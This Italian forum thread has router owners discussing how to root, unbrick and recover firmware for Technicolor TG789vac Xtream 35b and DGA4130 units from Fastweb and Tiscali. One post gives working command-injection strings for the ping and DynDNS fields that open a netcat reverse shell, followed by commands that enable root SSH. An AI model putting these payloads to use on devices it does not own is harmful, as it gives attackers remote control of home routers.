IlPuntoTecnico
Hardware e Software => Connessioni ADSL/VDSL/FTTC => Topic aperto da: matteone2 - 04 Febbraio 2018, 15:52
-
Ciao a tutti,
dopo vari esperimenti sui DGA4130/4132 mi sono buttato sul 789vac xtream 35b di Fastweb.
Risultato: un bel brick :( perchè ho sbagliato un erase mtd (oops...)
Il router mi va in BOOT-P e si aspetta un firmware, ho cercato in giro e di .rbi neppure l'ombra,
Qualcuno ha trovato il file sul loro server ACS 59.0.121.191 oppure gli xtream usano altro server ?
Resta poi il problema del nome file, partendo da questi firmware noti:
16.2.7384-2341002-20170104120722_FW_209_MOS_TG789vacXtream
16.2.7825-3401002-20170627172939_FW_212_MOS_TG789vacXtream
mi sarei aspettato qualcosa nella forma 16.2.n.y_FW_xxx_MOS_TG789vacXtream.rbi (almeno in precedenti router usavano questo standard) ma per ora nulla :(
-
Ciao a tutti,
Mi allaccio a questo thread visto che ho appena ricevuto in regalo questo router fastweb.
Ho fatto una ricerca nel forum ma non sono riuscito a capire se sono stati trovati utilizzi per questo router.
A me tornerebbe utile usarlo come modem adsl per altro operatore e sfruttare le porte VoIP con Messagenet. Ci sono firmware adatti allo scopo?
Che guide o thread di router "cugini" potrei seguire per mettermi a "far danni"??
-
Per il root, ci sono vari metodi in funzione della versione firmware. Se riesci a darmi i dati della pagina "Informazioni Globali"
ti indico la procedura.
Serve un minimo di dimestichezza con la riga comandi, ma non è complicato :)
-
Queste sono le info generiche ricavate dalla GUI
Fornitore del prodotto
Technicolor
Nome prodotto
Technicolor TG789vac Xtream_MOS
Versione Software
16.2
Versione Firmware
16.2.7825-3401002-20170627172939_FW_212_MOS_TG789vacXtream
Versione Bootloader
15.50.1005-0000000-20151209073757-4fd17452ef9fdf09e9f981340e5d6b3f85fe6c5a
Versione Hardware
VBNT-F
https://photos.app.goo.gl/F3Ha0tgYuTaCk6iy2
qui alcune foto. siccome vicino alle porte FXS vedo pochi componenti elettronici mi è salito un dubbio...saranno attive? o è un modello senza VOIP?
in caso, siccome sono principalmente interessato all'utilizzo VOIP, vale la pena che recupero un TG789VAC2_MOS? l'ho dato ad un amico per una connessione Fastweb. lui lo usa vergine con una VDSL Fastweb. magari a lui do' l'Xtream e io riprendo quello, visto che dal quel che vedo sul forum quel modello è stato sbloccato per bene.
Che mi consigliate? :help:
-
Bel clone del dga4130, le porte voip funzionano, la componentistica mancante che sia del dect ? guarda le foto della board del dga4130.
Vedo anche che il nome della board è lo stesso del tim hub (VBNT-S) ? che sia fattibile mettere su il fw del tim hub e viceversa ?
Anche quello li è sbloccabile, con la 16.2 la falla nel campo del ping funziona, e credo funzioni anche quella del dyndns.
-
Sulle 16.2 la falla del dyndns funziona, mentre quella del ping dipende dalla versione (tra 16.2.7384 e 16.2.7825 ho comportamenti diversi).
Invece sulla 16.1 funziona quella del ping , ma non quella del dyndns (!)
In ogni caso, ho dovuto usare delle sintassi leggermente diverse per il root rispetto ai DGA: i comandi sono piu vicini a quelli degli AGTOT.
Quando rientro posto la procedura
@^NiCo^ la board è VBNT-S ma la flash è grande la metà ... alla prima occasione provo il TFTP su un Xtream brickato che ho, ti faccio sapere
**EDIT** Mi correggo, la board è VBNT-F
-
mettici iinet o il firmware uno 8) la board e' compatibile
-
Sulle 16.2 la falla del dyndns funziona, mentre quella del ping dipende dalla versione (tra 16.2.7384 e 16.2.7825 ho comportamenti diversi).
Invece sulla 16.1 funziona quella del ping , ma non quella del dyndns (!)
In ogni caso, ho dovuto usare delle sintassi leggermente diverse per il root rispetto ai DGA: i comandi sono piu vicini a quelli degli AGTOT.
Quando rientro posto la procedura
@^NiCo^ la board è VBNT-S ma la flash è grande la metà ... alla prima occasione provo il TFTP su un Xtream brickato che ho, ti faccio sapere
> usano tutti e due openrg
-
Eccomi!
La procedura di root che mi funziona è questa (è un mix di quelle che abbiamo visto su AGTOT e AGTEF/AGTHP) :
1- Assicuratevi di non avere firewall attivi sul PC
2- Collegate il router al PC ed annotatevi l'IP che utilizza questo ultimo
3- Lanciare netcat in ascolto sul PC (esiste anche la versione windows, si scarica facilmente)
nc -lvvp 10001
"10001" è la porta TCP di ascolto, potete usare una porta alta ( 1024-65535 ) qualunque. La 10001 è quella che si trova in tanti esempi
4- Aprite la pagina di diagnostica -> Ping & Traceroute -> nella sezione "indirizzi IP" inserite:
:::::::;nc IP_DEL_PC 10001 -e /bin/sh
e lanciate il test del ping. Sul PC dovrebbe comparire la scritta "connected to IP_DEL_ROUTER"
5- adesso sul PC lanciate i comandi per attivare l'utenza root ed il servizio SSH dropbear:
passwd root
<inventatevi una password di root - va inserita e poi confermata>
uci set dropbear.@dropbear[0].PasswordAuth='on'
uci set dropbear.@dropbear[0].Interface='lan'
uci set dropbear.@dropbear[0].RootPasswordAuth='on'
uci set dropbear.@dropbear[0].RootLogin='1'
uci set dropbear.@dropbear[0].enable='1'
uci commit
sed -i 's#root:/bin/false#root:/bin/ash#' /etc/passwd
/etc/init.d/dropbear restart
FINE!
Se il punto 4 non funziona provate con il servizio DynDNS:
4b- Aprite pagina “Servizi WAN”, andate nella nella sezione DDNS e inserite questa stringa nel campo “Dominio”:
www.ooo.com; nc IP_DEL_PC 10001 -e /bin/sh &
Attivate il servizio DynDNS e infine salvate
mettici iinet o il firmware uno 8) la board e' compatibile
Sei sicuro che "TG789vac Xtream 35b" sia compatibile ? Mi sembra di avere provato senza successo.
**EDIT** Ho verificato, mi sembra che iinet ed uno utilizzino la board VANT-6 mentre questo ha la VBNT-F
servirebbe il firmware di un router con stessa board (e forse anche la chiave AES per il decrypt del file .rbi)
Help me! :help:
-
Sto ancora cercando di recuperare un firmware per questo router... avendo un secondo xtream 35b con la 16.1 e rootato, l'ho collegato alla rete fastweb ed ho visto che acquisisce automaticamente la configurazione del server ACS (quella del noto 59.0.121.191:8080/ACS-server/ACS ).
Facendo un tcpdump sull'interfaccia atm0 si nota che il dialogo tra router ed ACS è in chiaro... ho provato a tenerlo collegato una notte intera con tcpdump attivo, sperando di veder arrivare il firmware (o quantomeno un URL oppure il nome del file .bli) ma niente.
C'è qualcuno che vuole fare questa prova di tcpdump? Ah, per non rischiare di riempire il filesystem del router con il file generato da tcpdump io suggerisco di far scrivere su una chiavetta usb
-
Posso fare questa prova che dici ma mi occorre il dump della sessione cwmp che hai catturato. Mi occorre solo il contenuto soap ovviamente, cerca di censurarlo se necessario e mandamelo.
edit (marzo 2019): dopo aver dato una occhiata al dump di questo firmware ho potuto fare queste prove e recuperare gli RBI originali per questo device, Li trovate nella repo di Ansuel.
-
Mah ... nelle buste soap ci sono varie informazioni interessanti ma non ho visto un modo per "stimolare" il donwload del firmware. Appena possibile (non ho più la linea fastweb) provo a fare un altro tcpdump e ti faccio sapere
-
Il download viene comandato dall.acs o da pianificazione o al verificarsi di certe condizioni durante eventi in particolare. Per esempio Vodafone pusha il firmware aggiornato se nella inform di bootstrap compare una versione firmware obsoleta. Sarebbe meglio se il dump fosse di una sessione di bootstrap, cioè durante il primo avvio post-reset, ma già dalla generica inform si può fare qualche tentativo.
-
La sessione di bootstrap si ha solo al riavvio del dispositivo oppure è sufficiente un riavvio del demone cwmpd ?
-
No l'evento di "bootstrap" è solo dopo un factory reset, dopo il riavvio avviene il normale evento "boot"
-
Qualcuno sa dirmi a che versione di firmware sono arrivati questi xtream 35b ? Ne avete uno aggiornatissimo ?
-
chiedi sul forum fastweb c'è un moderatore che sono sicuro lavora al reparto firmware perchè stranamente ti risponde con l'esatta dicitura del firmware presente sul server acs
-
Oppure ha trovato l'url con la repo dei firmware usata dall'acs e li può vedere tutti.
-
no il listing è disattivato...
-
Qualcuno sa dirmi a che versione di firmware sono arrivati questi xtream 35b ? Ne avete uno aggiornatissimo ?
Io ho questo da mesi. Nessun aggiornamento firmware.
Unico problema era attivazione/disattivazione di IPV6 ma con il root ho risolto.
Root OK
Wake on Wan OK
Fornitore del prodotto
Technicolor
Nome prodotto
Technicolor TG789vac Xtream_IAD
Versione Software
16.2
Versione Firmware
16.2.7825-3401001-20170627171140_FW_212_IAD_TG789vacXtream
Versione Bootloader
15.50.1005-0000000-20151209073757-4fd17452ef9fdf09e9f981340e5d6b3f85fe6c5a
Versione Hardware
VBNT-F
-
@varma @armageddon1966 i vostri router sono sbloccati ? Riuscite a fare un dump della mtd così da condividere i vari firmware ? Eventualmente li mettiamo sul repository.
NB: nella mtd3 / mtd4 non ci sono dati identificativi del modem o della vostra linea
-
il dga4131 è la versione italia del DJN2130 venduto da telstra di qui io ho il suo server cwmp ed il server cwmp principale
-
Qualcuno riesce a postarmi o inviarmi l file /etc/config/network originale di questo router? :help:
-
ragazzi ho trovato il firmware download per il technicolor 35b xtream ma non ho connessione fw ma ben si tiscali come posso fare
-
SE non hai l'ADSL con loro puoi provare con un cellulare fastweb (anche ricaricabile) da cui riesci a raggiungere l'ACS ;)
Puoi inviarmi in PM il link, provo a scaricarlo ?
Grazie
-
Salve a tutti, sono riuscito ad applicare la procedura sul Technicolor TG789VAC XTREAM 35B: ora riesco ad accedere con root, ho provato a cambiare i dns con il relativo comando dns ma non è presente: qualcuno sà come si possono cambiare?
-
!!!! sono riuscito a far generare al router il file config.bin non criptato, almeno questo è un traguardo
-
Dispongo di questo modem, distribuito ora da Tiscali: http://tisca.li/dga4130
- Sull'etichetta Technicolor retrostante si legge:
technicolor DGA4130
- Dall'interfaccia web:
Informazioni globali
Fornitore del prodotto Technicolor
Nome prodotto MediaAccess TG789vac Xtream 35b
Versione Software 17.1
Versione Firmware 17.1.7970-0001001-20180301141418
Firmware OID 5a97fcaa835b67358c787b1e
Versione Bootloader 16.11.1013-0000000-20160314084347-870409210027d7bcfa4d54666160c0bb5322e291
Bootloader OID unofficialbuildOID0000
Versione Hardware VBNT-K
Suggerimenti su come sbloccarlo senza metterci un firmware diverso da quello di Tiscali?
Idee su come recuperare il suo firmware dall'ACS di Tiscali, oppure su una procedura appropriata per salvarlo dal modem stesso?
Ovviamente voglio preservarlo nelle eventuali operazioni di sblocco...
Grazie.
Mirko.
-
Ti rispondo solo su un punto intanto che altri più competenti su questo modello intervengano. Prendere il file del firmware in formato RBI (cioè quello caricabile via tftp senza dover fare root di alcun tipo) dall'acs di tiscali per ora è impossibile perchè non abbiamo mai visto tiscali distribuire automaticamente un update del firmware di questo o altri device.
Ad ogni modo più su in questa pagina vedo che il vero Xtream 35b (o per lo meno quello fastweb) ha codice board VBNT-F. Vedo invece dai file di firmware disponibili per il DGA4130 ti TIM (aka AGTEF) che quello lì ha effettivamente una board codice VBNT-K, come il tuo, quindi volendo quei firmware sono a tua disposizione, ma fossi in te eviterei di sovrascrivere quello tiscali finchè non disponi di un suo dump o rbi.
-
Sul DGA4130 tiscali si potrebbe provare ad utilizzare autoflashgui o in generale la procedura per il downgrade che si usava anche per quello TIM https://www.ilpuntotecnico.com/forum/index.php/topic,78145.0.html
Se la procedura funziona ci si ritroverebbe con il firmware appena flashato sul banco attivo e il vecchio (firmware tiscali) sul banco passivo, cosi facendo fatto un semplice dump di mtd3 con dd (ipotizzando che il firmware tiscali sia rimasto in bank1) si avrebbe il firmware "flashabile" per tutti (cosi come si fa con il 789v2)
flashare via tftpd un firmware TIM e' probabile funzioni ma si perdera' definitivamente il firmware tiscali (ipotizzando che il modem venga fornito, cosi come il 789v2, con bank1 flashato e bank2 vuoto)
-
Sì, è una idea. Ci sarebbe anche questa da provare, https://whrl.pl/Rfgyln (post di scotty3 del 2018-Nov-17, 4:57 pm), io non ne ho uno quindi non posso aiutarvi.
-
Anche a me sembra un dga4130: hzzps://forum.tomshw.it/threads/fttc-tim-200-20-mb-s.633447/page-409#post-6304035
-
...
Vedo che siamo sintonizzati perfettamente sulla stessa frequenza.
Prima di andarci a scrivere sopra, preferirei appunto aver modo di leggere tutto quel che c'è scritto dentro, in modo da non sovrascrivere in modo irreversibile qualcosa che non saprei dove recuperare altrimenti.
Grazie per le indicazioni fornite.
Mirko.
Sul DGA4130 tiscali si potrebbe provare ad utilizzare autoflashgui o in generale la procedura per il downgrade
Il discorso mi pare più che lineare.
Nell'ipotesi conservativa fatta, di bank2 vuoto, scrivere sul firmware Tiscali via TFTP il firmware 1.0.3 o un altro "TIM", non mi darebbe modo di tornare alle condizioni iniziali. Quindi escludo questa strada.
L'altra ipotesi, di scrivere sul banco vuoto, tramite autoflashgui, sempre che funzioni, dovrebbe essere failsafe dato che passerebbe passivo il firmware tiscali, attualmente per assunto in bank1.
Il mio problema contingente è che da quando me l'hanno consegnato questo DGA4130TI (Ti come Tiscali... presumo), non ne vuol sapere di provvigionarsi e quindi allo stato attuale, nonostante tutte le mie lamentele, l'unico modo che ho di usare questa fibra è metterci un modem mio, configurando le credenziali Tiscali per la connessione PPPoE. Ma so già che quando andrà in porto la portabilità del numero ne perderò contestualmente la fruibilità sino a quando Tiscali non mi fornirà la configurazione per il VoIP (o in alternativa non mi fanno operare il CWMP sul loro modem).
Al momento sarei quasi propenso a tentare di far bootare il DGA4130TI dal bank2, mandandolo in failboot per 3 volte. Che così vedo se per caso non abbia il banco passivo flashato....
Questa opzione in sostanza non dovrebbe comportare rischi di alcun tipo.
Mal che vada non c'è il bank flashato e non conseguo risultato.
Grazie per le indicazioni.
Mirko.
Ci sarebbe anche questa da provare, https://whrl.pl/Rfgyln (post di scotty3 del 2018-Nov-17, 4:57 pm)
Già esplorata la vulnerabilità del dyndns. il DGA4130TI ha già quel campo sanificato. Altrimenti girovagavo senza far troppo sconquasso nel firmware Tiscali per prendergli un po' meglio i connotati.
Grazie.
Mirko.
...
Grazie per l'ulteriore conferma. In effetti oltre all'hw VBNT-K anche il bootloader coincide, lasciando ancora meno dubbi sul fatto che sia fisicamente identico all'AGTEF di TIM, eccetto per la livrea.
Solo che a questo punto mi interessa preservare al meglio il firmware ed operare in modo chirurgico con totale controllo della situazione.
Un saluto.
Mirko.
-
Il gioco del triplo fail potresti anche farlo ma per me al 99,9% il banco 2 è vuoto. Quindi facendolo, se non hai una seriale collegata, lo vedresti sempre riavviare senza poter capire cosa è accaduto. Quindi se vuoi farlo vai con la seriale, non serve fare saldature quindi se hai già l'interfaccia ci perdi solo il tempo per smontarlo.
Un altra idea potrebbe essere questa, è molto laboriosa e complessa ma io la butto lì, magari qualcuno ha voglia di tentare. L'url dell'ACS di tiscali è hardcoded nel loro firmware ma dovrebbe essere ancora in http semplice, quindi se installi un tuo ACS su una macchina, per semplicità linux, su cui fai girare anche pppoe-server dovresti essere in grado, facendo in modo da dirottare il dominio dell'ACS alla macchina stessa, di "telegestirlo". La telegestione di questi device prevede anche il supporto ai cosiddetti "vendor configuration file", che nel caso specifico di questi homeware by technicolor sono degli script (file .sts). Non sono sicuro vengano interpretati della shell linux completa, potrebbero essere gestiti da quella limitata, per intenderci quella shell su cui tramite account engineer di default si sblocca il 789vac v2 col trucco del tasto WPS su firmware UNO.
Questo è un esempio di sts per homeware recuperato non mi ricordo dove su internet:
reboot off
set network.wan6.reqaddress='try'
set network.wan6.reqopts='3 23 25'
/etc/init.d/network reload
set mmpbxrvsipnet.sip_net.interface_selection_strategy='ipv6_ipv4_strategy_1'
/etc/init.d/mmpbxd reload
Mi rendo conto che non è una operazione gestibile da chiunque, ma se anche uno solo di voi ci riesce, una volta ottenuto il dump sarà sempre possibile effettuare il root in modo "più semplice" passando per il firmware tim e avendo comunque la possibilità di reinstallare quello tiscali sull'altra bank.
PS: questa strategia dovrebbe funzionare anche per l'Xtream 35b di fastweb qualora ad un certo punto non si trovi altro modo per sbloccare o recuperare un dump del firmware originale, ma in quel caso non ci sarebbe di mezzo pppoe ma dhcp, e l'url ACS (se dall'ultima volta che ho controllato non è cambiato qualcosa) va proprio impostato tramite quest'ultimo, non è hardcoded. Inoltre non ho mai controllato se la possibilità di ricevere l'url dell'ACS via dhcp funzioni solo sui firmware fastweb o anche sugli altri, in tal caso potete fare lo stesso nel caso ce ne sia hardcoded uno https (con autenticazione server mediante certificato).
-
...
Dunque, da quello che leggo se lo facessi bootare dal bank2 e questo fosse vuoto, mi andrebbe in bootloop e non saprei come uscire da questa situazione (non ho capito peraltro come farei a ricondurlo al bank1, anche decidessi di metterci la seriale).
Riguardo l'idea di mettere in piedi un setup in grado di interagire, come da linee guida proposte, non sarei in grado di farlo in tempi ragionevoli per cui non mi cimento.
Sapete invece se si possa leggere il fw senza andare troppo per il sottile? A volte tocca dissaldare ma a volte per esperienza posso dire che si accede anche senza farlo. Non sarebbe la prima volta che smonto chip per leggerli e poi rimontarli.
Ma non ho ancora investigato in questa direzione sul DGA4130.
Un saluto.
Mirko.
-
Non so di nessuno che lo abbia fatto, se hai già esperienza a riguardo e non credi di metterci troppo puoi provare a farlo, nella speranza che il dump letto direttamente dal chip sia riutilizzabile per essere riscritto anche via software e non solo via programmatore.
-
...
Sicuramente se è su una flash SPI che ad occhio non ho però individuato sul cuginetto DGA4132, ma guardando però soltanto un lato della board, ho da qualche parte sia l'hw che la competenza per leggerlo.
Diciamo che non ho più la vista di quanto ero più giovane... ma se è su un chip non troppo esotico, credo che leggerlo sia per me più fattibile che seguire altre strade.
Domani sera guardo dall'altro lato... Una volta identificato il chip, posso fare una stima di quanto tempo mi serva per dumparlo a livello hw, sempre ammesso che la strada sia praticabile.
Buona notte.
Mirko.
-
La butto li: visto che sul tg789vacV2 da GUI del fw UNO si riesce a flashare il fw di iinet, mi domandavo se sul dga4130 da GUI del fw di tiscali si riesce a flashare un fw di tim, con quello che ne consegue.
Buonanotte.
-
Credo sia quello di cui parlava @FrancYescO a pagina 2 (https://www.ilpuntotecnico.com/forum/index.php/topic,78382.msg243054.html#msg243054)
-
La butto li: visto che sul tg789vacV2 da GUI del fw UNO si riesce a flashare il fw di iinet, mi domandavo se sul dga4130 da GUI del fw di tiscali si riesce a flashare un fw di tim, con quello che ne consegue.
Buonanotte.
Già controllato ma il dyndns è sanificato su questo modello.
Credo sia quello di cui parlava @FrancYescO a pagina 2 (https://www.ilpuntotecnico.com/forum/index.php/topic,78382.msg243054.html#msg243054)
Come spiegavo sopra la prima cosa che ho tentato di fare è stata quella di sfruttare quella vulnerabilità per esplorare un po' la situazione. Ma non c'è più quella strada aperta...
In ogni caso stasera dopo l'ennesima lamentela al 130 mi hanno proposto la sostituzione del modem, e visto che son 10 giorni che non riescono a intervenire per far andare a buon fine il provisionig, ho accettato. Non conosco la modalità con cui questa sostituzione si realizzerà, ma per evitare addebiti preferisco non togliere la vite sigillata che mi permetterebbe eventualmente di accedere fisicamente alla flash per copiarla.
Spero comunque che nel contempo affinerò l'approccio per sbloccarlo, sperando che il sostituto sia sempre un DGA4130, ovviamente.
Un saluto.
Mirko.
-
Ho paura ti rifileranno uno Zyxel, e se hanno gia' avviato la pratica di sostituzione puoi togliere le speranze che questo modem faccia il provisioning (tolgono il seriale dall'ACS nel momento in cui te ne mettono uno in coda da spedire)
brutta cosa sapere che quella via e' stata fixata, forse l'unica speranza di avere almeno il firmware replicabile e' qualcuno che dumpi agganciandosi alla flash, spero non abbiano messo anche limitazioni al tftpd altrimenti siamo messi malaccio...
-
Io potevo anche infischiarmene della situazione di stallo in cui sono incappato, però se stavo a guardare correvo il rischio di trovarmi senza telefono... nell'eventualità venisse portato su Tiscali. Ed il numero invece mi interessa rimanga raggiungibile ed utilizzabile. Poi che il seriale sia nell'ACS, se non va in porto il provisioning, non mi offre vantaggi rispetto al fatto che venga invece rimpiazzato dal seriale del modem nuovo.
Spero mi mandino un DGA4130 ma son convinto che continuerà a non configurarsi. Forse esiste qualche intoppo che ancora va debuggato su questo technicolor. Sull'ACS c'è solo il seriale del modem o anche il mac-address? Altre cose che potrebbero in qualche modo introdurre ostacoli al provisioning implementato attraverso gli ACS di Tiscali?
Di solito la prospettata sostituzione implica che il corriere consegna una scatola col nuovo modem e chiede in restituzione subito quella con il modem da sostituire?
Oppure la restituzione di quello precedente verrà eventualmente organizzata a posteriori?
Questi sono aspetti logistici che ignoro...
Un saluto.
Mirko.
-
il corriere ti chiede subito quello vecchio, sull'ACS non so se viene memorizzato anche il MAC ma posso dirti per certo che l'autenticazione viene fatta con solo il seriale, che non facciano completare il provisioning se il numero non e' migrato su rete tiscali e' possibile, puoi in ogni caso chiedere che ti attivino la deviazione di chiamata quando non raggiungibile...siamo andati OT pero' :D
-
Sull'ACS c'è solo il seriale del modem o anche il mac-address? Altre cose che potrebbero in qualche modo introdurre ostacoli al provisioning implementato attraverso gli ACS di Tiscali?
Cosa ci sia non ne ho idea, però almeno che non abbiano problemi ad interfacciarsi con il dm del VBNT-K direi che la ragione più verosimile è che il seriale del tuo dga attuale non sia stato correttamente registrato sul tuo account e non sanno dove andarlo a recuperare. Secondo me l'unica differenza con quello nuovo è che di quest'ultimo conoscono il seriale. Un altro utente aveva avuto il tuo stesso problema sul VANT-6 e comunicandolo ha risolto il problema del provisioning. Speriamo te ne diano uno uguale, lo Zyxel è davvero un device triste.
-
L'unica cosa è che in un caso l'operatore del 130 è riuscito a farlo quanto meno riavviare da remoto e questo implica che una certa operatività sul DGA4130 doveva permetterglielo. Poi il seriale me l'hanno menzionato almeno 5 o 6 volte e forse lo leggevano proprio dal sistema informativo, non dal mio modem. Non so cosa significhi di preciso "interfacciarsi col dm del modem" ma direi che almeno parzialmente ci con riusciti.
Poi che il TR-069 non facesse il suo dovere al 100% (a meno che non si trattasse di seriale diverso con una O al posto di uno 0), è un dato di fatto comprovato da 10 giorni di tentativi infruttuosi.
Spero che mi mandino di nuovo un DGA4130 perché lo Zixel sembra proprio scarso. Il technicolor mi sembra decisamente più documentato... e poi vorrei tirargli giù il firmware. Secondo voi violando il sigillo rosso di quello che presumibilmente mi ritireranno, al fine di scopiazzargli il firmware direttamente dalla flash, corro il rischio che se ne avvedano e me ne addebitino il costo?
Un saluto.
Mirko.
-
Se sono riusciti a riavviarlo allora vuol dire che il collegamento all'acs era operativo ma per quello non serve che il seriale combaci. Se non combacia, al massimo non ti restituisce le credenziali associate al tuo account ma la telegestione è comunque possibile. E' più facile che le config fornite dall'ACS non fossero adatte al dm del modem, data-model, se vuoi puoi vederlo rappresentato in xml, dove ogni impostazione è una cosa tipo percorso.nome e ha un valore, Se l'ACS prova ad impostare, per esempio, l'username PPP su una cosa del tipo Connessioni.1.PPP.Username ma quel modello per la vera connessione va a leggere il valore da Connessioni.42.PPP.Username chiaramente non funziona un accidente. Spetta a Tiscali fare in modo che per VBNT-K l'username venga impostato su un valore con un certo nome e per VANT-6 su un altro. E' per questo che non puoi usare un device qualsiasi con un qualsiasi ACS perchè anche se il datamodel è standard, è necessario che i due ne abbiano conoscenza non dico reciproca ma quasi. Se c'è un problema del genere la cosa è preoccupante, vorrebbe dire che a nessuno col VBNT-K funziona.
-
che il DGA funzioni sull'ACS tiscali ve lo posso confermare, gia' ho letto testimonianze qui e li di chi lo ha con linea attiva (a 200m) e lunedi lo provero' anche in prima persona a casa di un amico (dopo 6 mesi hanno finalmente deciso di fare l'upgrade da ADSL e hanno gia inviato un DGA)
@Mirko1024 secondo me ammenocche' non lo distruggi aprendolo, pure che se lo ritrovano senza sigillo se ne fregano :D
-
...
Grazie per le delucidazioni. Allora corrisponderebbe un po' a quello che temevo io, cioè che per qualche ragione non si riuscisse a concretizzare la configurazione, pur essendo correttamente inserito il seriale del modem nell'ACS.
...
un'altra idea che mi era venuta era quella di andare col DGA4130 da qualcuno con una linea tiscali e provare a farlo provvisionare in quel contesto (magari una semplice ADSL). Ma preferisco non abusare della collaborazione di qualcuno che se poi un giorno gli gira storta la connessione... penserà in eterno che sia una conseguenza della mia prova...
Comunque buono il feedback che altri modem analoghi si configurino, almeno ci sono maggiori probabilità che si sia trattato di un caso isolato e mi mandino un modem identico (il tizio del 130 mi ha chiesto il modello in mio possesso, e ha specificato il modello DGA4130 (quello nuovo ha detto), nella richiesta di sostituzione.
Se poi mi dite che la probabilità che notino la cera rossa rimossa rasenta lo zero, magari un tentativo di dump della flash la tento (tempo e compatibilità con l'hardware di cui dispongo per leggerla, permettendo).
Un saluto.
Mirko.
-
al massimo fai lo gnorry e dici che tu non sai niente (conta che alcune volte ho fatto mandare dietro modelli completamente diversi di modem perche' mi faceva comodo tenere quello "piu' nuovo") :D
comunque anche provare il tuo su una ADSL o quello che sia e' inutile, continuerebbe a "loggarsi" con il tuo seriale e continuerebbe a scaricare le config sbagliate dall'ACS, a quanto pare in tiscali son stupidi e alcune volte anziche' cercare di sistemare la configurazione sull'ACS preferiscono fare sostituzioni modem a muzzo
-
...
Oggi mi hanno portato il numero su Tiscali e quindi non ho più modo di usare il telefono (che almeno prima funzionava su Infostrada). Allora ho ricontattato il 130 per domandare ragguagli e mi hanno notificato che la sostituzione del modem è stata annullata in quanto prima devono chiudere il guasto... Andiamo bene... Il bello è che risulto attivo dal 10 novembre e pare che inizieranno a fatturarmi da tale data... Ho provato ad estorcergli i parametri del VoIP ma mi hanno detto che solo se avessi un Fritz potrebbero fare in modo che si autoconfiguri. In pratica le credenziali per il VoIP da loro non le posso acquisire.
Adesso attendo lunedì e poi vedrò quale strada imboccare per tornare almeno in possesso della numerazione. Mi hanno detto addirittura che sin quando non si registra il modem col mio numero non c'è modo di attivare l'inoltro di chiamata.
Tornando in topic dopo l'ampia divagazione, per quel che concerne il firmware del DGA4130, ho indagato meglio e purtroppo, per ora, non sono attrezzato per leggere la Flash che monta.
Un saluto.
Mirko.
-
@Mirko1024 hai provato gia' un reset dal pulsante che e' nella card "Gateway"? ad alcuni il provisioning in passato riusciva solo dopo quel reset
un'altro consiglio che posso darti per almeno prendere i dato del voip e' procurarti un 789vac, mettere il firmware tiscali e clonargli sopra il seriale del DGA per fargli scaricare la configurazione del tuo voip dall'acs (se vuoi e ti fidi passami il seriale del tuo DGA in PM posso provare per te)
-
...
Dunque, oggi mi sono messo d'impegno ed ho provato a resettare a ripetizione, attendendo ogni volta 20 minuti tra un reset ed il successivo. Ogni reset condotto dalla card Gateway, come peraltro avevo tentato almeno altre 10 volte nelle due settimane trascorse. Ogni volta ho preso nota dell'IP assegnato e confidavo magari che acquisendo un IP di un gruppo diverso, magari il provisioning andasse a buon fine.
Le prime 4 volte, ho preso IP come da schema seguente:
20181124130000 94.39.213.109
20181124140600 94.39.212.160
20181124142300 94.39.203.199
20181124144400 94.39.205.75
Ovviamente senza che il tutto mi desse modo di navigare.
Speravo di finire in un gruppo diverso e invece con mia sorpresa al quinto tentativo
20181124150500 94.39.211.52
mi connetto al modem e vedo che ho connettività internet!
Bingo... si è configurato il DGA4130 pur acquisendo un IP 94.39.x.y ed il led della telefonia l'ho visto finalmente attivo.
A questo punto ho smesso di fare reset e non ho fatto altro che testare il funzionamento del telefono che però è ancora in condizioni incerte... Le chiamate partono regolarmente ma non sono ancora riuscito a riceverne, provando da rete TIM e Wind. Spero che nel corso delle prossime ore tutto converga automaticamente anche se mi pare strano che ciò sia conseguente alla prima registrazione del telefono anziché alla cessione del numero da Infostrada a Tiscali, avvenuta da più di 27 ore.
Ieri l'inoltro di chiamata incondizionato che avevo chiesto al 130 per il numero non registrato non era fruibile. Oggi l'ho disabilitato da tastiera ed anche tentando di riabilitarlo non cambia nulla ed il numero sembra sempre irraggiungibile.
Ora attenderò un po' sperando che il telefono si metta a funzionare a dovere; successivamente vedrò se riesco a recuperarmi i parametri VoIP con l'obiettivo di metterci un DGA4132 sbloccato.
Grazie FrancYescO per la disponibilità a tentare di ricavarmi le credenziali VoIP su un TG789 con SN clonato dal mio DGA4130, ma a questo punto penso che proverò a perseguire il risultato in autonomia.
Un saluto.
Mirko.
-
Ottimo meglio cosi, a quanto pare avevi beccato momenti in cui l'ACS era KO, o come ipotizzavo non ti avevano messo la configurazione perche' wind ancora non aveva ceduto il numero, per quanto riguarda le chiamate in entrata e' normale durante queste migrazioni.. immagino il problema rientrera' da solo in qualche giorno.
ma come mai vuoi mettere un 4132? non ti basterebbe sbloccare questo 4130? :D
-
Non credo che io possa aver azzeccato almeno 15 volte il server ACS down, non è statisticamente plausibile.
Altrettanto dicasi per il fatto che non mi avessero messo la configurazione. Non è concettualmente probabile che io mi sia messo a fare prove con insistenza e proprio dopo un'oretta abbiano messo la configurazione, di sabato pomeriggio poi.
Io son più propenso a ritenere che per qualche ragione il download della configurazione dall'ACS si interrompesse e che a forza di provare sia andato in porto.
Quanto al discorso del DGA4132, la risposta è semplice: mi fa pendant con l'altro sulla FTTH TIM che ho già. Inoltre adesso che dentro nel DGA4130 ho le credenziali VoIP, lo tratterò come un oggetto prezioso sin quando non riuscirò nell'intento di farmele svelare.
A proposito, se vado di wireshark, le posso sniffare oppure son criptate? Preferirei intraprendere i tentativi di sblocco quando disporrò già di un backup sicuro su cui contare. Non posso permettermi di trovarmi senza la linea telefonica funzionante per un'eccesso di spavalderia. Ed al momento non c'è disponibile il firmware Tiscali; quindi prima di metterci sopra l'1.03 del 4130, ci penso 3 volte.
Visto il calvario per farlo partire, prima di resettarlo di nuovo per indagare meglio l'anomalia, preferirei entrare in possesso della mia password VoIP.
C'è anche un'altra possibilità: che la mia ultima chiamata al 130, ieri sera, in cui mi si è detto che la sostituzione del modem era stata annullata (sventando il rischio di ritrovarmi con lo Zixel), abbia fatto il suo corso per delle ulteriori notifiche inviate testualmente a mezzo mondo. Magari sono intervenuti proprio oggi intorno alle 15? Però non essendo giunti messaggi di chiusura del guasto, ritengo che la cosa sia quantomeno poco probabile.
Grazie delle rassicurazioni e son convinto anch'io che le chiamate in ingresso inizieranno a pervenire nel giro di qualche giorno. Almeno spero...
Un saluto.
Mirko.
-
